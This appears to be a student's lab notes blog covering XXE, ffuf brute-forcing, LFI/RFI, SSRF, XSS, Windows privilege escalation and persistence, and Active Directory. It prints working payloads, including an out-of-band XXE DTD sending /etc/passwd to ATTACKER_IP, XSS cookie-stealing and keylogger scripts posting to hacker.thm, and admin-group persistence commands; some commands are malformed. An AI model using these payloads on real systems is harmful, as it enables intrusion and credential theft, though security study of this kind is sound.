XML elements are represented by tags, which surrounded by angle brackets <>. Tags usually come in pairs, with opening tag preceeding the content and closing tag following the content.

<!-- Declaration indiates XML version -->
<?xml version="1.-" encoding="UTF-8"?>
<!-- Elemenet containing various sub-elements, and attributs representing user data -->
<user id="1"> 
 <name>John</name>
 <age>30</age>
 <address>
 <street>124 Main St</street>
 <city>AnyCity</city>
 </address>
</user>

Whats XSLT?

XSLT (Extinsible stylesheet language transformations) is a language used to transform and format XML documents. While XSLT is primarily used for data transformation and formatting, it is also significantly relavant to XXE attacks.
XSLT can be used to facilitate XXE attacks in several ways such as Data Extraction:, Entity Expansion:, Data Manupulation:, Blind XXE.

What are DTDs (Document Type Definitions)?

DTDs define the structure and contraints of xml doc. The specify the allowed elements, attributes, and relationsships between them. DTDs can be internal within document or external in a seperate file.
Purpose of DTDs usage: for validating the structure of xml doc before processing.

Internal DTDs are specified by using <!DOCTYPE> declaration, while external DTDs are reference using the SYSTEM keyword.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
 <!ELEMENT config (database)>
 <!ELEMENT database (usernaem, password)>
 <!ELEMENT username (#PCDATA)>
 <!ELEMENT password (#PCDATA)>
]>
<config>
<!-- configuration data -->
</config>

DTDs play a crucial role in XXE injection, as they can be used to declare external entities which can reference external files or URLs, lead to malicious data or code injections.

XML Entities

These are the place holders for data or code that can be expanded with in xml document.
5 Types of entities
1. Internal entities: are essentially varialbes used with in an XML doc to define and substitute content may be repeated multiple times. They are defined in the DTD.
```
<!DOCTYPE note [

<!ENTITY inf "This is a test.">
]>
<note>
 <info>&inf;</info>
</note>
```
External Entities: Similar to internal entities but their contents are referenced from outside of XML doc, such as seperate file or URL. This feature can be exploited in XXE attacks if the XML processor is configured to resolve external entities.
```
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
 <info>&ext;</info>
</note>
```
Parameter Entities: specials types of entities used within DTDs to define reusable structures or to include external DTD subsets. These are particularly usefull for modularizing DTDs and maintaining large scale XML applications.
```
<!DOCTYPE note [

<!ENTITY % common "CDATA">
<!ELEMENT name ($common;)> 
]>
<note>
 <name>John Doe</name>
</note>
```
General Entities: Used to define substitutions that can be used withtin the body of the XML document. Unlike parameter entities, these are inteded for use in document content.
```
<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
 <writer>&author;</writer>
</note>
```
Character Entities: are used to represent special or reserved characters that cannot be used directly in XML documents. These entites prevent the parser from misinterpreting XML syntax. For exmaple
- < for the <
- > for the >
- & for the &

XML Parsing Mechanisms

XML parsing is the process by which XML file is read, and its information is accessed and manipulated by software program.
XML parsers convert data from XML format into a structure that a program can use. During this process, parsers may validate XML data against a schema or a DTD, ensuring the structure conforms to certain values.
Common XML Parsers in different programming environments; each parser handle data differently, which can affect vulnerability to XXE injection.
- DOM Parser: This method builds the entire XML doc into a memory based tree structure, allowing random access to all parts of doc. Its resourse intensive but flexible.
- SAX (Simple API for XML): Parses XML data sequentially without loading whole document into memory, making it suitable for large XML files. However, it is less flexible for accessing XML data randamly.
- StAX (Streaming API for XML): Similar to SAX, StAX parses XML documents in a streaming fashion but gives the programmer more control over XML parsing process.
- XPath Parser: Parses an XML doc based on expression and is used extensively in conjuction with XSLT.

Exploiting XXE: In-band

In-band refers to an XXE vulnerability where the attacker see the response form the server. This allows straight forward data exfiltration and exploitation. The attacker can simply send a malicious XML payload to the application, and the server will respond with extracted data or the result of attack.
Out-of-band XXE vulnerability, on the other hand, attacker cannot see response from the server. This requires alternative channels, such as DNS or HTTP requests, to exfiltrate data. To extract the data, the attacker must craft a malicious XML payload that will trigger an out-of-band request, such as DNS query or an HTTP request.

Example:

Lets say, if a webserver directly parses a xml doc from post request and print the name value.

<?xml version="1.0" encoding="UTF-8"?>
<contact>
<name>My Name</name>
<email>test@test.com</email>
<message>Test Message</message>
</contact>

As it does not sanitize the input, we can provide the variable xxe which points to content in /etc/passwd as name value.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:////etc/passwd">
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>Test Message</message>
</contact>

XML Entity Expansion

It involves defining entities with in a XML doc, which the XML parser then expands. Attacker can abuse this feature by creating recursive or excessively large entitites, leading to a denial of service (Dos) attack or defining external entities referencing sensitive files or services. This method is central to both in-hand and out-of-band XXE, as it allows attackers to inject malicious entities into the XML data.

For example:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "This is a test messgte" >
]>
<contact>
<name>&xxe; &xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

In the payload above, &xxe; is expanded wherever it appears. Attackers can use entity expansion to perform a Billion Laughs attack, where a small XML document recursively expands to consume server resources, leading to a denial of service.

Out of Band XXE

Lets consider a example of web application uses below php code to upload a file.

 libxml_disable_entity_loader(false);
 $xmlData = file_get_contents('php://input'); 
 $doc = new DOMDocument();
 $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
 $links = $doc->getElementsByTagName('file');

 foreach ($links as $link) {
 $fileLink = $link->nodeValue;
 $stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())");
 $stmt->bind_param("s", $fileLink);
 $stmt->execute();
 if ($stmt->affected_rows > 0) {
 echo "Link saved successfully.";
 } else {
 echo "Error saving link.";
 }
 $stmt->close();
 }

The code above doesn’t return the values of the submitted XML data. Hence, the term Out-of-Band since the exfiltrated data has to be captured using an attacker-controlled server.
For this attack, we will need a server that will receive data from other servers. We can use Python’s http.server module, although there are options out there.
```
# Start a http server in kali
python3 -m http.server 1337
# Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
```
Upload a file in the application and monitor the request that is sent to submit.php using your Burp. Forward the request below to Burp Repeater. And if there is possibility to modify the xml to exploit the system. Please see the modified xml payload.
```
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>
```
After sending the modified HTTP request, the Python web server will receive a connection from the target machine. The establishment of a connection with the server indicates that sensitive information can be extracted from the application.
We can now create a DTD file that contains an external entity with a PHP filter to exfiltrate data from the target web application.

Save the sample DTD file below and name it as sample.dtd.

<!-- sample.dtd file exfiltrate the contents of /etc/passwd and send the response back to the attacker-controlled server -->
<!-- The %cmd entity refers to a resource within the PHP filter protocol php://filter/convert.base64-encode/resource=/etc/passwd. It retrieves the base64 encoded content of /etc/passwd -->
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- The %oobxxe entity contains another XML entity declaration, exfil, which has a system identifier pointing to the attacker-controlled server. -->
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;

Go back to the repeater and change your payload to and send the request.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
 <file>&exfil;</file>
</upload>

Resend the request and check your terminal. You will receive two (2) requests. The first is the request for the sample.dtd file, and the second is the request sent by the vulnerable application containing the encoded /etc/passwd.
Decoding the exfiltrated base64 data will show that it contains the base64 value of /etc/passwd.

SSRF + XXE

Server-Side Request Forgery (SSRF) attacks occur when an attacker abuses functionality on a server, causing the server to make requests to an unintended location.
In the context of XXE, an attacker can manipulate XML input to make the server issue requests to internal services or access internal files.
This technique can be used to scan internal networks, access restricted endpoints, or interact with services that are only accessible from the server’s local network.

Example:

Consider a scenario where a vulnerable server hosts another web application internally on a non-standard port. An attacker can exploit an XXE vulnerability that makes the server send a request to its own internal network resource.

For example, using the captured request from the in-band XXE task, send the captured request to Burp Intruder and use the payload below:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:10/" >
]>
<contact>
 <name>&xxe;</name>
 <email>test@test.com</email>
 <message>test</message>
</contact>

Web Fundamentals 2

Sat, 20 Jan 2024 00:00:00 +0000

Username enumeration with ffuf

listing all the available usernames of the website.
FUZZ keyword in the data, is being replaced by usernames in the wordlist

 ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

brute forcing the login with avaiable usernames, assumed output from above pasted into valid_usernames.txt
her we have two wordlist, so we have given them our own FUZZ keyword

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.174.24/customers/login -fc 200

Taking Advantage of flaw in application logic

We know the parameters can be sent using either query in url, or in the payload.
In a given scenario of task, application prefers the parameter in payload than in the query
So, we know supposed to get this worked out to fake
i have created my own account with, username:silent, email:silent@customer.acmeitsupport.thm, password:silent
Assuming im attacking the user: robor now

curl 'http://10.48.174.24/customers/reset?email=robert%40=acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

Now overiding the query paramerter with payload

curl 'http://10.48.174.24/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=silent@customer.acmeitsupport.thm'

NOw you will have a direct link on your email to reset the password of robert

we can do a little impersonization with the cookie tampering, steal others cookies and use them.

curl http:10.48.174.24/cookie-test #Not logged
curl -H "Set-Cookie: logged_in=true; admin=false" http:10.48.174.24/cookie-test #Loggedin as user
curl -H "Set-Cookie: logged_in=true; admin=true" http:10.48.174.24/cookie-test #Loggedin as the admn

sometimes cookies can be in form of the hashes like md5sum,sha256,sha512,sha1. These can be somehow (sometimes) cracked with http://crackstation.net
Also, cookies also can be in encoded form like base64, use base64 --decode command to decode

File inclusion (LFI, RFI, Path traversal)

The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.
This can leak data, such as code, credentials or other important files related to the web application or operating system, also leads to gain RCE if attacker has capability to write to server by any other means

Path Traversal:

This occur when the user’s input is passed to a function such as file_get_contents in PHP due to Often poor input validation or filtering is the cause of the vulnerability.

curl http://webapp.thm/get.php?file=../../../../etc/passwd # in linux
curl http://webapp.thm/get.php?file=../../../../boot.ini # in windows
curl http://webapp.thm/get.php?file=../../../../boot.ini # in windows

# /etc/shadow --> contains systems's user passwords
# /etc/profile --> controls system wide default varibles such as Export variables, File creation mask, terminal types, Mail messages to indicate new mail has arrived
# /proc/version --> kernal version
# /root/.bash_history --> contains root's history commands
# /var/mail/root --> all root's mails
# /etc/issue --> contains messages to be printed before the login prompt

Local File Inclusion (LFI):

With PHP, using functions such as include, require, include_once, and require_once often contribute to vulnerable web applications.

curl http://webapp.thm/index.php?lang=../../../../etc/passwd

# Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte
curl http://webapp.thm/index.php?lang=/etc/passwd%00

#developer decided to filter keywords to avoid disclosing sensitive information! Now we have this trick to bypass
curl http://webapp.thm/index.php?lang= /etc/passwd/.

Remote File Inclusion - RFI

RFI is a technique to include remote files into a vulnerable application
One requirement for RFI is that the allow_url_fopen option needs to be on.
An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server.

cat << EOF > cmd.php
>> <?PHP print exec('hostname'); ?>
>> EOF 
python3 -m http.server 4444 &
curl http://local_ip:4444/cmd.php

Now we have the script loacted at the remote server, lets see the action now

# it will run the remote script in the webserver, and returen the output back on browser
curl http://webapp.thm/index.php?lang=http://local_ip:4444/cmd.php

solutions to the challanges

challange1:

curl -X POST -d 'file=/etc/flag1' http://10.49.163.168/challenges/chall1.php

challange2:

curl --cookies THM=/etc/flag2%00 http://10.49.163.168/challenges/chall2.php

challange3:

curl -X POST -d 'file=../../../../etc/flag3%00' http://10.49.163.168/challenges/chall3.php

Server-Side Request Forgery (SSRF)

A vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker’s choosing.
Two types of SSRF vulnerability; the first is a regular SSRF where data is returned to the attacker’s screen. The second is a Blind SSRF vulnerability where an SSRF occurs, but no information is returned to the attacker’s screen.
Identifying this vulnerability:

#When a full URL is used in a parameter in the address bar:
curl https://website/form?server=http://server.website.thm/store
#A partial URL such as just the hostname:
curl https://website.thm/form?server=api
#Or perhaps only the path of the URL:
https://website.thm/form?dst=/forms/contact
#or probebly hidden inside of form, inspect the html content of form

Cross-site scripting (XSS)

XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript (payload) gets injected into a web application with the intention of being executed by other users.
This is the simplest of payloads, to create an alert box to pop up on the page with a string of text, for example: <script>alert('XSS');</script>
Session stealing: User’s session such as login tokens, are often kept in cookies on the target machines. Below java script takes the target’s cookie, encodes it with base64 for successful transmission and posts it to a website under the hacker’s control to be logged.

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key logger: Anything you type on webpage will be forwarded to website under the hacker’s control

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

Bussiness logic: this payload would be calling a particular network resource or a javascript function. Lets say fuction changing the user’s email address called user.changeEmail().

<script>user.changeEmail('attacker@hacker.thm');</script>

Reflected XSS

Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.

Stored XSS

As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.

DOM BAsed XSS

DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content.
A web page is a document, and this document can be either displayed in the browser window or as the HTML source.
DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.
Perfecting the payload

# escaping the tags
<h2> THM </h2>
<h2><script>alert('THM')</script></h2>

# To escape the input tag, we can make use of ">. You can do this with the following payload:
<h2> <input value="THM"></h2>
<h2> <input value=""><script>alert('THM');</script>"></h2>

# To escape the textarea tag a little differently from the input one by using the following payload: 
<h2> <textarea>THM</textarea></h2>
<h2> <textarea></textarea><script>alert('THM');</script></textarea></h2>

# To escape the existing JavaScript command, so you're able to run your code; you can do this with the following payload 
document.getElementByClassName('name')[0].innerHTML = 'THM';
document.getElementByClassName('name')[0].innerHTML = '';alert('THM');//';

# When word script gets removed from your payload, that's because there is a filter that strips out any potentially dangerous words. When a word gets removed from a string, there's a helpful trick that you can try. 
<sscriptcript>alert('THM');</sscriptcript> --> <script>alert('THM');</script>
 
# To escape from the image tag
<img src="/images/cat.jpg" >
<img src="/images/cat.jpg" onload="alert('THM'); "> 

# An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you've just completed, and it would have executed the code successfully. 

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

Blind XSS (Example): Insert below script into any of website and steal the cookies

</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>

Windows Privilege Escalation

Wed, 01 Apr 2026 00:00:00 +0000

Harvesting passwords

Unattended Windows Installations

When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don’t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
```
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Powershell history

Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands.
For Powershell, won’t recognize %userprofile% as an environment variable. You’d have to replace %userprofile% with $Env:userprofile
```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

Saved Windows Credentials

Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
```
cmdkey /list
```
While you can’t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.
```
runas /savecred /user:admin cmd.exe
```

IIS Configuration

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
```
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

Here is a quick way to find database connection strings on the file:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.

LDAP (Lightweight Directory access Protocol) Injections

Wed, 04 Feb 2026 00:00:00 +0000

Introductions

LDAP Protocol used for accessing and maintaining distributed directory information serverces over an internet Protocol (IP) network.
LDAP Enables organizations to manage users centrally, as well as groups and other directory information, often used for authentication and authorization in web and internal applications.

Structure

In LDAP, directory entries are stuctured as objects, each adhering to a specific schema that defines the rules and attributes applicable to that object.
This object-oriented approach ensures consistency and governs how object like users and groups can be represented and manupulated withtin the directory.
Services that use LDAP:
- Microsoft Active directory: A service for windows domain network, utilizing LDAP as part of its underlying protocol suit to manage domain resources.
- OpenLDAP: An open-source implementation of LDAP, widely used for managing user information and supporting authentication mechanisms across various platforms.

LDIF (LDAP Data interchange format)

LDAP entries can be represented using the LDIF, a standard plaintext data format for representing LDAP directory entries, and update operations.
LDIF imports and exports directory contents and describes directory modifications such as adding, modifying, or deleting entries.
Structure: An LDAP directory follows a hierarchical like afile system’s tree. This structure comprises various entries, representing a unique item, such as a user, group or resource.
At the top of the LDAP tree, we find top-level-domain(TLD), such as dc=ldap,dc=thm.
Beneath the TLD, there may be subdomains or organizational units (OUs), such as ou=people or ou=groups, which further categorize the directory entires.
- Distiguished names (DNs): Serve as unique identifiers for each entry in the directory, specifying the path from the top of the LDAP tree entry. For example cn=john Doe, ou=people, dc=example, dc=com
- Relative Distiguished Names (RDNs): Represent individual levels with in the directory hierarchy, such as cn=john doe, where cn statnds for Common name.
- Attributes: Define properties of directory entries, like mail=johndoe@example.thm for an email address.

Search queries

LDAP search queries are fundamental in interacting with LDAP directories, allowing you to locate and retrieve information stored within the directory. Understanding how to construct these queries is crucial for effectively utilizing LDAP services.

Server-side Template Injections (SSTI)

Sun, 01 Feb 2026 00:00:00 +0000

Introduction

SSTI is a vulnerability that occurs when user input is injected into a template engine of an application. This can lead to a range of security issues, including code execution, data exposure, privilage escalation, and DoS.
SSTI vulnerabilities are often found in web applications that use template engines to generate dynamic content and can have serious consequences if left unaddressed.
Template Engines: A template engine is like a machine that helps build web pages dynamically by using a pre-designed template with placeholders like {{ name }} for dynamic content.
Common Template Engines:
- Jinja2(popular in python), Ex. {{7*7}} –> 49
- Twig(defalt in PHP, secure default settings). Ex: {{7 * ‘7’}} –> 49
- Pug/Jade (popular in node.js). Executes java script within templates unlike jinja2/Twig. Ex: ${7*7} --> 49 or #{root.process.mainModule.require('chid_process').spawnSync("id -u").stdout} --> 0

Detection

Finding an injection point: There are a few places we can look within an application, such as the URL or an input to identify the injection point.
Fuzzing: Following characters are known to be used in quite a few template engines: $ { { < % [ % ' " } } % . Fuzz all of these characters in url and see if there any error pops up.

Identification of Template:

Test injection point with given expression and see if its evaluated (green) or shown in output (red).

Race Coditions

Sat, 20 Jan 2024 00:00:00 +0000

A race condition is a situation in computer programs where the timing of events influences the behaviour and outcome of the program. It typically happens when a variable gets accessed and modified by multiple threads. Due to a lack of proper lock mechanisms and synchronization between the different threads, an attacker might abuse the system and apply a discount multiple times or make money transactions beyond their balance.

Windows Local Persistence

Wed, 01 Apr 2026 00:00:00 +0000

Tampering with Unprivilaged Accounts

To make it harder for the blue team to detect after initial foothold, we can manipulate unprivileged users, which usually won’t be monitored as much as administrators, and grant them administrative privileges somehow.

Assign Group Memberships

Asuuming we have already dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.

#The direct way to make an unprivileged user gain admin privileges is to make it part of the Administrators group.
net localgroup administrators thmuser0 /add

# If this looks too suspicious, we can use the Backup Operators group. 
# Users in this group won't have administrative privileges, 
# but will be allowed to read/write any file or registry key on the system, ignoring any configured DACLs.
net localgroup "Backup Operators" thmuser1 /add

# Since this is an unprivileged account, it cannot RDP or WinRM back to the machine unless we add it to the RDP or Remote Management Users (WinRM) groups.
net localgroup "Remote Desktop Users" thmuser2 /add

If we tried to connect right now from your attacker machine, we’d be surprised to see that even if we are on the Backups Operators group, we wouldn’t be able to access all files as expected.

ORM (Object relational mapping) Injections

Thu, 05 Feb 2026 00:00:00 +0000

Introdution

With advancements in cyber security, many developers have adopted object-relational mapping (ORM) to mitigate SQL injection attacks. While ORM is intended to simplify database interactions and improve security, the threat of injection attacks is still not over.
ORM injection occurs when attackers exploit vulnerabilities within ORM frameworks, allowing them to execute arbitrary queries.

Understanding ORM

ORM is a programming technique that facilitates data conversion between incompatible systems using object-oriented programming languages. It allows developers to interact with a database using the programming language’s native syntax, making data manipulation more intuitive and reducing the need for extensive SQL queries.
ORM is particularly beneficial when complex data interactions are required, as it simplifies database access and promotes code reusability.

Purpose:

ORM serves as a bridge between the object-oriented programming model and the relational database model. The primary purpose of an ORM is to abstract the database layer, allowing developers to work with objects rather than tables and rows. This abstraction layer helps in:
- Reducing the boilerplate code
- increasing productivity, focusing on bussiness logic without worrying about the db interactions.
- Ensuring consistency, reducing risk of errors.
- Enhancing the maintainability, as changes in schema are easier to manage, as they can be reflected in the object model without extensive code modifications.

Commonly used ORM Frameworks

Several ORM frameworks are widely used in the development community, each catering to different programming languages and environments.
- Doctrine (PHP)
- Hibernate (java)
- SQLAlchemy (Python): offers sql toolkit and orm system that allows devs to use raw sql when needed while still providing the benefits of am orm.
- Entiry framework (C#): Microsoft’s ORM framework for .NET applications.
- Active Record (Ruby on rails): default ORM for ruby on rails applications.

How ORM works

ORM is a technique that simplifies data interaction in an application by mapping objects in code to database tables.

For instance, using Laravel’s Eloquent ORM, you might define a model class like this:

namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class User extends Model
{
 protected $table = 'users';
 protected $fillable = [
 'name', 'email', 'password',
 ];
 // Other Eloquent model configurations can go here...
}

Common ORM Operations (Create, Read, Update, Delete)

Create: Creating new records in the database involves instantiating a new model object, setting its properties, and saving it to the database.

use App\Models\User;
// Create a new user
$user = new User();
$user->name = 'Admin';
$user->email = 'admin@example.com';
$user->password = bcrypt('password'); // hashing password
$user->save();

Read: Reading records from the database involves retrieving data using various Eloquent methods.

use App\Models\User;
// Find a user by ID
$user = User::find(1);
// Find all users
$allUsers = User::all();
// Find users by specific criteria
$admins = User::where('email', 'admin@example.com')->get();

Configuring the Environment

Since we are using Laravel in this project, we will briefly explain how to configure Eloquent ORM (Laravel-based). Eloquent ORM is the default ORM included with Laravel, which provides a beautiful, simple Active Record implementation for working with your database.
First, we need to install Laravel using Composer.
Open your terminal and run the command composer create-project --prefer-dist laravel/laravel thm-project, where thm-project is the name of your project.

Configure Database Credentials, Laravel uses the .env file to store environment variables, including database credentials.

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=your_database_name
DB_USERNAME=your_database_user
DB_PASSWORD=your_database_password

Setting up Migrations: To create a migration, we can use the Artisan command-line tool that comes with Laravel. You can run the command php artisan make:migration create_users_table --create=users to generate a migration for the users table:

This command generates a migration file in the database/migrations directory. The migration file contains methods to define the structure of the users table.

<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateUsersTable extends Migration
{
 public function up()
 {
 Schema::create('users', function (Blueprint $table) {
 $table->id();
 $table->string('name');
 $table->string('email')->unique();
 $table->string('password');
 $table->timestamps();
 });
 }
 public function down()
 {
 Schema::dropIfExists('users');
 }
}

In the above code, the up() method defines the structure of the users table. It includes columns for ID, name, email, password, and timestamps. Conversely, the down() method drops the users table if the migration is rolled back.
After defining the migration, run the command php artisan migrate to apply the migration and create the users table in the database. This command will execute the up() method in the migration file and create the users table with the specified columns in your database.

Identifying ORM Injection

Identifying ORM injection vulnerabilities involves examining how user inputs are handled within ORM queries. These vulnerabilities typically arise when user inputs are directly embedded into ORM query methods without proper sanitisation or validation.
Indicators of potential ORM injection issues include the use of dynamic queries that concatenate user inputs, raw query execution methods, and insufficient use of parameterised queries.

Techniques for Testing ORM Injection

Manual code review: May reveal raw query methods (such as whereRaw() in Laravel) that incorporate user inputs directly, concatinated strings or unescaped inputs in ORM methods, which may indicate injection points.

Vulnerabilities

Sat, 20 Jan 2024 00:00:00 +0000

Manual Search vs Automated search for vulnerabilities

the vulnerability scanner Nessus has both a free (community) edition and commercial. The commercial version costing thousands of pounds for a year’s license will likely be used in organisations providing penetration testing services or audits.
Frameworks such as Metasploit often have vulnerability scanners for some modules; Manual scanning for vulnerabilities is often the weapon of choice by a penetration tester when testing individual applications or programs.

Lets have a look at the type of Vulns

Security Misconfigurations 
#Security misconfigurations involve vulnerabilities that are due to developer oversight. For example, exposing server information in messages between the application and an attacker.

Broken Access Control	
#This vulnerability occurs when an attacker is able to access parts of an application that they are not supposed to be able to otherwise.

Insecure Deserialization	
#This is the insecure processing of data that is sent across an application. An attacker may be able to pass malicious code to the application, where it will then be executed.

Injection	
#An Injection vulnerability exists when an attacker is able to input malicious data into an application. This is due to the failure of not ensuring (known as sanitising) input is not harmful.

Finding Manual Exploits

Rapid7 Much like other services such as Exploit DB and NVD, Rapid7 is a vulnerability research database. The only difference being that this database also acts as an exploit database. Additionally, the database contains instructions for exploiting applications using the popular Metasploit tool.
GitHub is a popular web service designed for software developers. Security researchers store & share PoC’s (Proof of Concept) on GitHub, turning it into an exploit database in this context.
Searchsploit - Searchsploit is a tool that is available on popular pentesting distributions such as Kali Linux. This tool is an offline copy of Exploit-DB, containing copies of exploits on your system. We can use this as searchsploit wordpress to search for vulnerabilities of wordpress.

Windows Active Directory - Basics

Wed, 01 Apr 2026 00:00:00 +0000

1. Introduction to Active Directory

The core of any Windows Domain is the Active Directory Domain Service (AD DS). This service acts as a catalogue that holds the information of all of the “objects” that exist on your network.
Amongest the many objects supportd by AD, we have
- Users - Its an object that can act upon resources in the network. Should be authenticated by domain, and assigned with privileges. Users can be either:
  - People
  - Services
- Machines, A machine object is created when a computer joins the AD Domain. Machines assigned with an account just as regular users, but with limited rights in domai.
  - Machine account is the computer’s name followed by a dollar sign $. For example, a machine named DC01 will have a machine account DC01$.
- Security Groups: Groups can have both users and machines as members. If needed, groups can include other groups as well. Several security groups are created by default in the domain that can be used to grant specific privileges to users.
  - Domain Admins: Full admin privileges over entire domain
  - Server Operators: Admistister Domain Controllers, cant change any admin group membership
  - Backup Operators: Access any file, ignoring permissions.
  - Account Operators: Create, modify, delete users and groups.
  - Domain Users: Default group for all users.
  - Domain Computers: Default group for all machines.
  - Domain Controllers: Default group for all domain controllers.

2. Active Directory Users and Computers

To configure users, groups or machines in Active Directory, we need to log in to the Domain Controller and run “Active Directory Users and Computers”
It opens up a window where you can see the hierarchy of users, computers and groups that exist in the domain. These objects are organised in Organizational Units (OUs) which are container objects that allow you to classify users and machines. OUs are mainly used to define sets of users with similar policing requirements.
You probably noticed already that there are other default containers in the domain. These containers are created by Windows automatically and contain the following:
- Builtin: Contains default groups available to any Windows host.
- Computers: Any machine joining the network will be put here by default. You can move them if needed.
- Domain Controllers: Default OU that contains the DCs in your network.
- Users: Default users and groups that apply to a domain-wide context.
- Managed Service Accounts: Holds accounts used by services in your Windows domain.

3. Security Groups vs OUs

While both are used to classify users and computers, their purposes are entirely different:
OUs are handy for applying policies to users and computers, which include specific configurations that pertain to sets of users depending on their particular role in the enterprise. Remember, a user can only be a member of a single OU at a time, as it wouldn’t make sense to try to apply two different sets of policies to a single user.
Security Groups, on the other hand, are used to grant permissions over resources. For example, you will use groups if you want to allow some users to access a shared folder or network printer. A user can be a part of many groups, which is needed to grant access to multiple resources.

4. Delegation of Control

Delegation allows you to grant users specific privileges to perform advanced tasks on OUs without needing a Domain Administrator to step in.
One of the most common uses for this is granting IT Support, the privilages to reset the other low privilaged user’s passwords.
For example, to delegate control over OU, you can right click on it, and select Delegate Control.
- This should open a new window where you will first asked for users to whom you want to delegate control.
- Then you will be asked to select the tasks that you want to delegate.
- Finally, you will be asked to confirm the delegation.

Lets say if you have delegated the ability to reset passwords to a user, they will be able to reset passwords for all users in that OU.

# Reset User sophie's password
Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt "New Password") -Verbose
# We can also force a password reset at next logon
Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

5. Machines in AD

By default, all the machines that join a domain (except for the DCs) will be put in the container called “Computers”.
While there is no golden rule on how to organise your machines, an excellent starting point is segregating devices according to their use. In general, you’d expect to see devices divided into at least the three following categories:
- Workstations: Devices that users will use to do their work or normal browsing activities.
- Servers: Generally used to provide services to users or other servers.
